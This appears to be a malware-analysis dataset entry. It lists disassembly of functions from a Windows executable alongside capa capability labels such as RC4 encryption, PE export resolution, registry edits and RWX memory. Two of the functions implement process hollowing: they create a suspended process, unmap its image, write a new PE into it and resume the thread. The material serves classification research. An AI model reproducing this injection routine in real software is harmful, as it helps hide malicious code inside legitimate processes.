joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e760
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40e836
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.004050fc
lea eax, [ebp - 4]
call fcn.00405578
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405528
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40e820
mov eax, ebx
call fcn.00402d4c
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40e819
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405528
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40e803
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40e848
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40e803
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e820
mov eax, dword [ebp - 0x10]
call fcn.00402d68
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e83d
lea eax, [ebp - 4]
call fcn.00405064
ret
Function at 0x41016c
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405518
mov eax, dword [ebp - 8]
call fcn.00405518
xor eax, eax
push ebp
push 0x410368
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
test eax, eax
je 0x4101b6
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x4101c5
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x410342
cmp dword [ebp - 0x18], 0
je 0x410342
cmp dword [ebp - 0x1c], 0x100
jle 0x4101fa
lea eax, [ebp - 0xc]
push eax
mov ecx, pe_nt_image_headers32
xor edx, edx
mov eax, dword [ebp - 8]
call fcn.0040558c
jmp 0x410205
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004050fc
xor ebx, ebx
lea eax, [ebp - 0x11c]
mov byte [eax], bl
inc ebx
inc eax
cmp ebx, 0x100
jne 0x41020d
xor esi, esi
xor ebx, ebx
lea ecx, [ebp - 0x11c]
lea edi, [ebp - 0x21c]
mov eax, ebx
cdq
idiv dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + edx - 1]
movzx edx, byte [ecx]
add esi, edx
add eax, esi
and eax, 0x800000ff
jns 0x41024c
dec eax
or eax, 0xffffff00
inc eax
mov esi, eax
movzx eax, byte [ecx]
mov byte [ebp - 0x11], al
movzx eax, byte [ebp + esi - 0x11c]
mov byte [ecx], al
movzx eax, byte [ebp - 0x11]
mov byte [ebp + esi - 0x11c], al
cmp ebx, dword [ebp - 0x18]
jge 0x410277
mov eax, dword [ebp - 4]
movzx eax, byte [eax + ebx]
mov byte [edi], al
inc ebx
inc edi
inc ecx
cmp ebx, 0x100
jne 0x410229
xor esi, esi
xor eax, eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
jl 0x410308
inc ebx
lea edx, [ebp - 0x21c]
inc esi
and esi, 0x800000ff
jns 0x4102a5
dec esi
or esi, 0xffffff00
inc esi
movzx ecx, byte [ebp + esi - 0x11c]
add eax, ecx
and eax, 0x800000ff
jns 0x4102bd
dec eax
or eax, 0xffffff00
inc eax
movzx ecx, byte [ebp + esi - 0x11c]
mov byte [ebp - 0x11], cl
movzx ecx, byte [ebp + eax - 0x11c]
mov byte [ebp + esi - 0x11c], cl
movzx ecx, byte [ebp - 0x11]
mov byte [ebp + eax - 0x11c], cl
movzx ecx, byte [ebp + esi - 0x11c]
movzx edi, byte [ebp + eax - 0x11c]
add ecx, edi
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x11c]
xor byte [edx], cl
inc edx
dec ebx
jne 0x410294
mov eax, dword [ebp - 0x10]
call fcn.00405064
mov ebx, dword [ebp - 0x18]
dec ebx
test ebx, ebx
jl 0x410342
inc ebx
lea esi, [ebp - 0x21c]
lea eax, [ebp - 0x220]
movzx edx, byte [esi]
call fcn.0040524c
mov edx, dword [ebp - 0x220]
mov eax, dword [ebp - 0x10]
call fcn.00405330
mov eax, dword [ebp - 0x10]
inc esi
dec ebx
jne 0x41031f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41036f
lea eax, [ebp - 0x220]
call fcn.00405064
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405088
ret
Function at 0x4105b7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 4], eax
test ebx, ebx
je 0x410611
mov eax, ebx
add eax, dword [eax + 0x3c]
mov edi, dword [eax + 0x78]
add edi, ebx
xor esi, esi
jmp 0x41060c
mov eax, dword [edi + 0x20]
lea edx, [ebx + eax]
mov eax, dword [edx + esi*4]
add eax, ebx
push dword [ebp + 0xc]
push eax
call sub.kernel32.dll_lstrcmpA
test eax, eax
jne 0x41060b
mov edx, dword [edi + 0x24]
lea ecx, [ebx + edx]
mov ax, word [ecx + esi*2]
movzx edx, ax
mov ecx, dword [edi + 0x1c]
lea eax, [ebx + ecx]
mov eax, dword [eax + edx*4]
add eax, ebx
mov dword [ebp - 4], eax
inc esi
cmp esi, dword [edi + 0x18]
jb 0x4105d8
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x422100
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x58d348
cmp dword [edi], 0
jne 0x42217c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x58d344]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x57c2b8
mov ecx, 2
call fcn.00402f48
mov edx, 0x4220d8
lea eax, [esi + 5]
call fcn.004220f8
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.004220f8
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x422151
mov dword [0x58d344], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4223a4
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff18
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov dword [ebp - 0xe8], 0x10002
lea eax, [ebp - 0xe8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetThreadContext
call fcn.0042236c
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
mov edx, 8
mov eax, dword [ebp - 0x44]
call fcn.00422350
push eax
push esi
call sub.kernel32.dll_ReadProcessMemory
call fcn.0042236c
mov eax, dword [ebp - 0xc]
push eax
push esi
call sub.ntdll.dll_ZwUnmapViewOfSection
test eax, eax
sete al
neg al
sbb eax, eax
call fcn.0042236c
mov eax, dword [ebp - 8]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 8]
call fcn.00422358
mov dword [ebp - 0x1c], eax
push 4
push 0x3000
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x34]
push eax
push esi
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42244c
call fcn.0040f5fc
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x54]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
push esi
call sub.kernel32.dll_WriteProcessMemory
call fcn.0042236c
mov eax, dword [ebp - 0x1c]
movzx edx, word [eax + 0x14]
mov eax, dword [ebp - 0x1c]
add eax, 0x18
call fcn.00422358
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x1c]
movzx edi, word [eax + 6]
dec edi
test edi, edi
jl 0x4224fc
inc edi
mov dword [ebp - 0x18], 0
mov edx, dword [ebp - 0x18]
add edx, edx
add edx, edx
add edx, edx
lea edx, [edx + edx*4]
mov eax, dword [ebp - 0x10]
call fcn.00422358
mov ebx, eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0x10]
push eax
mov edx, dword [ebx + 0x14]
mov eax, dword [ebp - 8]
call fcn.00422358
push eax
mov edx, dword [ebx + 0xc]
mov eax, dword [ebp - 0xc]
call fcn.00422358
push eax
push esi
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4224f6
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0x24]
call fcn.00422360
push eax
mov eax, dword [ebx + 8]
push eax
mov edx, dword [ebx + 0xc]
mov eax, dword [ebp - 0xc]
call fcn.00422358
push eax
push esi
call sub.kernel32.dll_VirtualProtectEx
inc dword [ebp - 0x18]
dec edi
jne 0x422493
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
mov edx, 8
mov eax, dword [ebp - 0x44]
call fcn.00422350
push eax
push esi
call sub.kernel32.dll_WriteProcessMemory
call fcn.0042236c
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0xc]
call fcn.00422358
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0xe8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetThreadContext
call fcn.0042236c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4225a8
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff9c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x64], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4226fe
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x44]
xor ecx, ecx
mov edx, 0x44
call fcn.004038bc
mov dword [ebp - 0x44], 0x44
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea edx, [ebp - 0x64]
xor eax, eax
call fcn.00403144
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 0x60]
call fcn.00422550
push dword [ebp - 0x60]
push 0x422718
push edi
lea eax, [ebp - 0x5c]
mov edx, 3
call fcn.004053e8
mov eax, dword [ebp - 0x5c]
lea edx, [ebp - 0x58]
call fcn.00409a3c
mov eax, dword [ebp - 0x58]
call fcn.00405528
push eax
push 0
call sub.kernel32.dll_CreateProcessA
call fcn.0042236c
xor eax, eax
push ebp
push 0x4226bd
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4226ac
push dword fs:[eax]
mov dword fs:[eax], esp
push esi
mov ecx, ebx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
call fcn.004223a4
mov eax, dword [ebp - 0x50]
push eax
call sub.kernel32.dll_ResumeThread
cmp byte [ebp + 8], 0
je 0x42268c
push 0xffffffffffffffff
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4226b3
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x50]
push eax
call sub.kernel32.dll_CloseHandle_1
ret

Function at 0x42271c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, eax
xor ebx, ebx
push ecx
push edx
push esi
call sub.kernel32.dll_FindResourceA
mov edi, eax
test edi, edi
jne 0x422748
call sub.kernel32.dll_GetLastError_1
add eax, 0xfffff8ec
sub eax, 4
jb 0x422777
call fcn.0040f5fc
mov bl, 1
push edi
push esi
call sub.kernel32.dll_LoadResource
call fcn.0042237c
push eax
call sub.kernel32.dll_LockResource
call fcn.00422394
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
push edi
push esi
call sub.kernel32.dll_SizeofResource
call fcn.0042237c
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4248f8
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x424a62
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, ebx
call fcn.004050fc
mov eax, dword [ebp - 4]
call fcn.0042446c
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
jne 0x42494a
lea eax, [ebp - 4]
mov ecx, 1
mov edx, 1
call fcn.004055cc
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x18], eax
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.00424dac
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x424a1f
xor eax, eax
push ebp
push 0x424a18
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
call fcn.00424618
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 0xc]
call fcn.00424a90
test al, al
je 0x4249f6
mov ecx, dword [ebp - 0x34]
inc ecx
lea eax, [ebp - 8]
xor edx, edx
call fcn.00405154
mov ebx, dword [ebp - 0x38]
dec ebx
cmp ebx, 0
jl 0x4249f6
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
call fcn.00405528
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
jne 0x4249f0
mov eax, dword [ebp - 8]
call fcn.00405528
mov edx, eax
lea eax, [ebp - 0x3c]
call fcn.0040525c
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xc]
call fcn.004248f8
dec ebx
cmp ebx, 0xffffffff
jne 0x4249a9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x424a1f
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
call fcn.00424618
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 4]
call fcn.00405528
push eax
movzx edx, byte [ebp - 0x11]
mov eax, dword [ebp - 0xc]
call fcn.00424604
push eax
call sub.advapi32.dll_RegDeleteKeyA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x424a69
lea eax, [ebp - 0x3c]
call fcn.00405064
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405088
ret

Function at 0x424a90
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x1c
call fcn.004038bc
lea eax, [ebx + 0x14]
push eax
push 0
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 0xc]
push eax
lea eax, [ebx + 8]
push eax
push 0
lea eax, [ebx + 4]
push eax
push ebx
push 0
push 0
push 0
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
sete al
mov edx, dword [0x58952c]
cmp byte [edx + 0xc], 0
je 0x424af4
mov edx, dword [0x58951c]
cmp dword [edx], 2
jne 0x424af4
mov edx, dword [ebx + 4]
add dword [ebx + 4], edx
mov edx, dword [ebx + 0xc]
add dword [ebx + 0xc], edx
pop esi
pop ebx
ret
Function at 0x424cc0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
movzx eax, byte [ebp + 8]
call fcn.00424480
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00405528
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x424d1f
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x58931c]
mov dl, 1
mov eax, dword [0x424378]
call fcn.0040dfc8
call fcn.00404a90
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x424d28
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00405528
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x424d80
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x589538]
mov dl, 1
mov eax, dword [0x424378]
call fcn.0040dfc8
call fcn.00404a90
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.004244b0
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4280b0
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x42810a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x589148]
cmp byte [eax], 0
je 0x4280da
push ebx
call sub.kernel32.dll_GetFileAttributesW
mov ebx, eax
jmp 0x4280f4
lea eax, [ebp - 4]
mov edx, ebx
call fcn.0040528c
mov eax, dword [ebp - 4]
call fcn.00405528
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x428111
lea eax, [ebp - 4]
call fcn.00405064
ret

Function at 0x428118
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x428177
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x589148]
cmp byte [eax], 0
je 0x428146
push esi
push ebx
call sub.kernel32.dll_SetFileAttributesW
mov ebx, eax
jmp 0x428161
push esi
lea eax, [ebp - 4]
mov edx, ebx
call fcn.0040528c
mov eax, dword [ebp - 4]
call fcn.00405528
push eax
call sub.kernel32.dll_SetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42817e
lea eax, [ebp - 4]
call fcn.00405064
ret
Function at 0x4281f8
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x428270
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x589148]
cmp byte [eax], 0
je 0x428228
push esi
push ebx
call sub.kernel32.dll_MoveFileW
mov ebx, eax
jmp 0x428255
lea eax, [ebp - 4]
mov edx, esi
call fcn.0040528c
mov eax, dword [ebp - 4]
call fcn.00405528
push eax
lea eax, [ebp - 8]
mov edx, ebx
call fcn.0040528c
mov eax, dword [ebp - 8]
call fcn.00405528
push eax
call sub.kernel32.dll_MoveFileA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x428277
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405088
ret

Function at 0x428dfc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffec
mov esi, edx
lea edi, [esp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, dword [esp + 8]
test ebx, ebx
je 0x428e58
push esp
push 0x40
push 6
push ebx
call sub.kernel32.dll_VirtualProtect
test eax, eax
jne 0x428e27
call fcn.0040f5fc
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
mov ecx, 6
call fcn.00402f48
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
push 6
mov eax, dword [esp + 0x14]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
jne 0x428e58
call fcn.0040f5fc
add esp, 0x14
pop edi
pop esi
pop ebx
ret

Function at 0x42e52c
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
and edx, edx
je 0x42e54a
and ecx, ecx
jle 0x42e54a
push ebx
xor al, byte [edx]
imul eax, eax, 0x8088405
inc eax
mov ebx, eax
shr ebx, 0x18
mov byte [edx], bl
inc edx
dec ecx
jne 0x42e535
pop ebx
ret
Function at 0x431028
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x38]
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
mov edx, dword [edx + 0x28]
shr edx, 1
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, dword [eax + 0x28]
shr ecx, 1
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x38]
call fcn.00402f48
add dword [ebp - 8], 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x4c]
shl eax, 2
sub eax, 5
test eax, eax
jl 0x431107
inc eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax]
shr eax, 8
and eax, 0xff
mov eax, dword [eax*4 + 0x57e864]
mov edx, 8
call fcn.0042e03c
mov ebx, eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
and eax, 0xff
xor ebx, dword [eax*4 + 0x57e864]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x57e864]
mov edx, 0x10
call fcn.0042e03c
xor ebx, eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
shr eax, 0x18
mov eax, dword [eax*4 + 0x57e864]
mov edx, 0x18
call fcn.0042e03c
xor ebx, eax
mov eax, dword [ebp - 8]
mov dword [eax], ebx
add dword [ebp - 8], 4
inc dword [ebp - 4]
dec dword [ebp - 0xc]
jne 0x43108a
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x431428
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x38]
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
mov edx, dword [edx + 0x28]
shr edx, 1
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, dword [eax + 0x28]
shr ecx, 1
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x38]
call fcn.00402f48
add dword [ebp - 8], 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x4c]
shl eax, 2
sub eax, 5
test eax, eax
jl 0x431507
inc eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax]
shr eax, 8
and eax, 0xff
mov eax, dword [eax*4 + 0x57e864]
mov edx, 8
call fcn.0042e03c
mov ebx, eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
and eax, 0xff
xor ebx, dword [eax*4 + 0x57e864]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
shr eax, 0x10
and eax, 0xff
mov eax, dword [eax*4 + 0x57e864]
mov edx, 0x10
call fcn.0042e03c
xor ebx, eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
shr eax, 0x18
mov eax, dword [eax*4 + 0x57e864]
mov edx, 0x18
call fcn.0042e03c
xor ebx, eax
mov eax, dword [ebp - 8]
mov dword [eax], ebx
add dword [ebp - 8], 4
inc dword [ebp - 4]
dec dword [ebp - 0xc]
jne 0x43148a
pop ebx
mov esp, ebp
pop ebp
ret